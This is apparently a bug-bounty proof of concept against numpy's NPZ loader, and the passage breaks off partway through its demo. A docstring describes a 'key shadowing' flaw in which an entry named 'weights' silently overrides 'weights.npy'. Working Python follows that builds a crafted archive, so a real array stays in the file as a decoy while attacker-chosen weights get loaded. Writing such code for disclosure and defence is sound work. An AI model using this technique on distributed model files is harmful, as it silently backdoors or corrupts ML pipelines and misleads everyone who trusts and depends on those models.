""" PoC: numpy NPZ Format — Key Shadowing / Model Integrity Attack Target : numpy (PyPI package `numpy`) Format : NPZ (.npz) — Huntr target: $1500 Tested : numpy 2.4.4, Python 3.12 Author : mgm-77 / MBM7 === Finding: NPZ Key Shadowing via .npy Suffix Removal === CWE-706 (Use of Incorrectly-Resolved Name or Reference) CWE-345 (Insufficient Verification of Data Authenticity) NpzFile.__init__ (_npyio_impl.py) strips the `.npy` suffix from all ZIP entry names before building the internal lookup dict: self.files = [name.removesuffix(".npy") for name in _files] self._files = dict(zip(self.files, _files)) # last writer wins An NPZ containing both `weights.npy` (legitimate array) and `weights` (attacker-controlled array, also a valid NPY file) causes the shadow entry to silently override the legitimate one, because: 1. Both strip to the key "weights" 2. dict() construction iterates in ZIP order — `weights` (no suffix) appears second → wins 3. npz["weights"] silently returns attacker-controlled data 4. Zero exceptions. Zero warnings. File passes visual inspection. === Impact === A threat actor distributing a crafted model file can: - Replace any weight tensor with arbitrary values (zeroed-out, backdoored, adversarially crafted) while keeping the "real" array inside the archive as a decoy - Bypass integrity checks that only verify file structure or keys - Cause silent model corruption in any ML pipeline that loads NPZ weights via np.load() — including HuggingFace, PyTorch (legacy), scikit-learn, and any framework that calls dict(np.load(...)) """ import io import zipfile import numpy as np def np_to_bytes(arr: np.ndarray) -> bytes: buf = io.BytesIO() np.save(buf, arr) return buf.getvalue() def make_shadow_npz(real: np.ndarray, evil: np.ndarray, key: str = "weights") -> bytes: """ Build a crafted NPZ where npz[key] returns `evil` instead of `real`. Archive layout: key.npy → real array (visible in ZIP viewer, passes inspection) key → evil array (shadow entry, wins the dict collision) """ buf = io.BytesIO() with zipfile.ZipFile(buf, "w") as zf: zf.writestr(f"{key}.npy", np_to_bytes(real)) # legitimate zf.writestr(key, np_to_bytes(evil)) # shadow return buf.getvalue() # ── Demo ──────────────────────────────────────────────────────────── print("=" * 60) print("NPZ Key Shadowing — Model Integrity Attack") print("=" * 60) # Simulate a model with real pre-trained weights real_weights = np.array([0.42, -1.17, 0.88, 0.03], dtype="